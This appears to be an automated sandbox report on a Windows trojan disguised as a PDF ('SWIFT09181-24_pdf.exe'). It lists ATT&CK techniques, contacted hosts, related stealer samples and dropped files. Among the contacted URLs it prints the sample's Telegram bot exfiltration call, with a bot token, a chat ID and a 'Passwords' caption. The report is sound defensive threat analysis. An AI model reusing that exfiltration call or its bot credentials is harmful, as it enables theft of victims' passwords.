Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SWIFT09181-24_pdf.exe	24%	ReversingLabs	Win32.Trojan.Garf

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.208.238	true	false	high
drive.usercontent.google.com	172.217.17.65	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/Xa	SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.000000000745A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/0c	SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.000000000745A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073BB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073FE000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2809422403.0000000007404000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/:	SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073FE000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2809422403.0000000007404000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037995000.00000004.00000800.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	SWIFT09181-24_pdf.exe	false	high
https://drive.google.com/I	SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073BB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://api.telegram.org	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037931000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.217.17.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
216.58.208.238	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575477
Start date and time:	2024-12-15 18:27:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SWIFT09181-24_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 119 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SWIFT09181-24_pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
12:30:01	API Interceptor	6x Sleep call for process: SWIFT09181-24_pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse
	888.exe	Get hash	malicious	Luca Stealer	Browse
	888.exe	Get hash	malicious	Luca Stealer	Browse
104.21.67.152	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse
	41570002689_20220814_05352297_HesapOzeti.exe	Get hash	malicious	MassLogger RAT	Browse
	malware.ps1	Get hash	malicious	MassLogger RAT	Browse
	Shipping Documents.exe	Get hash	malicious	MassLogger RAT	Browse
	Bank Swift and SOA PVRN0072700314080353_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	DEC 2024 RFQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
193.122.130.0	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	checkip.dyndns.org/
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	checkip.dyndns.org/
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	T#U00fcbitak SAGE RfqF#U0334D#U0334P#U0334..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Malzeme #U0130stek Formu_12102024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	jXN37dkptv.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	UBS20240190101.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	BL-100410364195.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	193.122.130.0
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	193.122.130.0
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
reallyfreegeoip.org	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	file.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
api.telegram.org	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	149.154.167.220
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	888.exe	Get hash	malicious	Luca Stealer	Browse	149.154.167.220
	888.exe	Get hash	malicious	Luca Stealer	Browse	149.154.167.220
	https://grizzled-overjoyed-bag.glitch.me/#comercial.portugal@eurofred.com	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse	149.154.167.220
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	149.154.167.99
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	7VfKPMdmiX.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7VfKPMdmiX.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	149.154.167.99
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.51.88
	zapret.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	https://fsharetv.io	Get hash	malicious	Unknown	Browse	104.17.167.186
	https://fsharetv.co/	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.79.7
	Merge.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.207.38
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
ORACLE-BMC-31898US	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	193.122.130.0
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	elitebotnet.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	140.204.52.53
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	193.122.130.0
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Non_disclosure_agreement.lnk.download.lnk	Get hash	malicious	Unknown	Browse	192.29.14.118
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Tvl72VM6PM.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	Tvl72VM6PM.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Bloxflip Predictor.exe	Get hash	malicious	Njrat	Browse	104.21.67.152
	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	104.21.67.152
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	TD2HjoogPx.dll	Get hash	malicious	Unknown	Browse	149.154.167.220
	wmdqEYgW2i.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	LaRHzSijsq.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	149.154.167.220
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	149.154.167.220
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	149.154.167.220
	FEDEX234598765.html	Get hash	malicious	WinSearchAbuse	Browse	149.154.167.220
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	PO_0099822111ORDER.js	Get hash	malicious	Remcos	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.217.17.65 216.58.208.238
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	172.217.17.65 216.58.208.238
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	172.217.17.65 216.58.208.238
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.217.17.65 216.58.208.238
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	172.217.17.65 216.58.208.238
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	172.217.17.65 216.58.208.238
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.217.17.65 216.58.208.238
	build.msi	Get hash	malicious	Unknown	Browse	172.217.17.65 216.58.208.238
	rHrG691f7q.exe	Get hash	malicious	LummaC	Browse	172.217.17.65 216.58.208.238
	Setup.msi	Get hash	malicious	Unknown	Browse	172.217.17.65 216.58.208.238

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll	O0rhQM49FL.exe	Get hash	malicious	Unknown	Browse
	O0rhQM49FL.exe	Get hash	malicious	GuLoader	Browse
	5WP9WCM8qV.exe	Get hash	malicious	GuLoader	Browse
	5WP9WCM8qV.exe	Get hash	malicious	GuLoader	Browse
	K8ZvbdkrGx.exe	Get hash	malicious	GuLoader	Browse
	K8ZvbdkrGx.exe	Get hash	malicious	GuLoader	Browse
	JOSXXL1.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Produccion.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.GenericKD.74281746.21507.1551.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Psychrophyte.Boo

Download File

Process:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	134264
Entropy (8bit):	4.605669963186572
Encrypted:	false
SSDEEP:	3072:xj4mzkFU365SZQUQ9jA+gJqtUqouOlaHaoYCD9gDrh:xj4skFWkeQ6+Laqiw6eDaDrh
MD5:	F166237825F14B277F465F26CABC12EF
SHA1:	1DE8BA3AC6D167148A6965BC03B74E363A3E628E
SHA-256:	981A5F9CB1CC649C30241B04A6D51EDC30CEBA85D1396C02F0D210E58D3B68F1
SHA-512:	B8695964D1A245FF7C64E43EDCCA958D5B9391AEEFBF02F1C19050772252FE5E8A1BF70D6FFE71DA759155B90DB3128DE419B28A9F6F7308605B1A5245490700
Malicious:	false
Reputation:	low
Preview:	.........p................`.:...........D............................].66.....................%.....--............................~~..XX..........."......~....jjj.......................'''.........................L........#.........j............t..3333...\|...................I....]........CC..:........w.........4.........KK..O...K....................www. .0..../////.....s.........HH...............II.q..k.b.\|\|..........................\\...........F......P..................=====.....................:.""".........VVVVVVVVVV.....t..____......................................f.........N.....;...~..h..........................................................4.~~......?............Y....................................[..qqq...p.......nnn......QQ.....y...zzzzzzz.............:::.....??.RRR.....dd...a..\|\|\|...........$$...................................))))...DDDD.u.......................2.........\|.{{..ZZZZZZ..........7......###.uuuuu.A.....**...LLLLLL.1..........W..mmmmm.........gg.:::........Z.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

Download File

Process:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	56641
Entropy (8bit):	1.2318917163845036
Encrypted:	false
SSDEEP:	384:vrBeaW6xu5Pd9GW0Zq+/HXF1qcGNMUd8phxiFQHOV7hpvZlq:t9+Pdop/306xixrlq
MD5:	39C9A5F767D8C170B5CE38EA8D5734D4
SHA1:	4B4CA81EB3D093645B504004F62A269D4EACDECC
SHA-256:	87A7017021050071DBE5726BF9AC505763CD923E2BDE93336CA0905802CD8D49
SHA-512:	AE2D66B801251046FA4D3093391B916955B43BE75A954DD398583B1B8881A9F109F51F81D6E4FE759F83AC7B921FA89B02185013AFDE16D3C8EAB422BE89B4FF
Malicious:	false
Reputation:	low
Preview:	.............l.........z........i........8.........................m.........f.C.Z..............I./........T..1.......................!......................D.................................................................................U................................../........................................-.......................}.........T`.....0@.............................F..............................].........................L.........<.........................................................................................N......................................................x........................................................@............................................4..........'...................?..........I.............../....................L....,...............................................;......k.....................................i............4.......................................K.....7...7....c...................U..#..............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Vebogen77.Uni

Download File

Process:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	273959
Entropy (8bit):	7.775011891990138
Encrypted:	false
SSDEEP:	6144:F7bhGVhVT8F4bX35S7KMDGWqbfeaFuYjSd0q09YdGm+DLvpBCUe:F79GdbXFPWqrebJcKQBhe
MD5:	93545E50541335CD9B1457812BE4637C
SHA1:	E7A88BEFAD0828C4E17E37756CEC3039D4B8515B
SHA-256:	8C50FA361425AEB62B60DBB05718B144E9BF9CF95D5DBEE541BA39D4FE9068AA
SHA-512:	330F84040AA98487DF2165879D819827490839937C91CF90EAB767B71C1A22D58F6513236AE156B18AB8AD39B413D1CF93F35521568D2A903F7D9A2A5435E95F
Malicious:	false
Reputation:	low
Preview:	............D........1111...Z....g.....>...............kkk..6..............CC..........dd.....&...................s...............***........J......................................kk...i.............................`````.5....................-...qqq..A.........E............................`.........b......o.rrrr..........F......x..............tt............................]]]]]..444...=..........................................FFFFF.......(........................T......................................O.000.#.}.............8..>......X...........R....[................jj......<<..u..VVVVVV.......u..........................k.FFF..........`.......\|............................................................/.................ddd.....3........ttt....((......................._..yy.....................3.q....qq.T.a..........===.............].......BB................WWWW......t...........I...77..TT..LL......nn.....................+++.}}..Y...w.AA...............DDD.................sssss.<<.."...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

Download File

Process:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
File Type:	ASCII text, with very long lines (345), with no line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.241929841155785
Encrypted:	false
SSDEEP:	6:dvkdMOL4xnuXGNQWjMIDw1luhPB46xAJX7sBJOdkmLA8gMfArpIXbgOwQWiQJEEC:dufExIoDe1lYnGJLsBQdtL6rpIrWQkJA
MD5:	AE69FE0F4D1E1115BC470031E661785C
SHA1:	8D3799826FE457C61C1E8EE5E3071683A8125BC5
SHA-256:	6B18768503395C809263568D3A8858810404C2B7D49DC7CB6CE5F717F5D6C7DE
SHA-512:	969C0DB048EAC4A9B447A0C0C463A7983F1B4091B6206E274B9D249F8311439B6C33F5AA1EDF9CD1AA27502DA49378D3E1B45F16909C55DF830E51684E9648BE
Malicious:	false
Reputation:	low
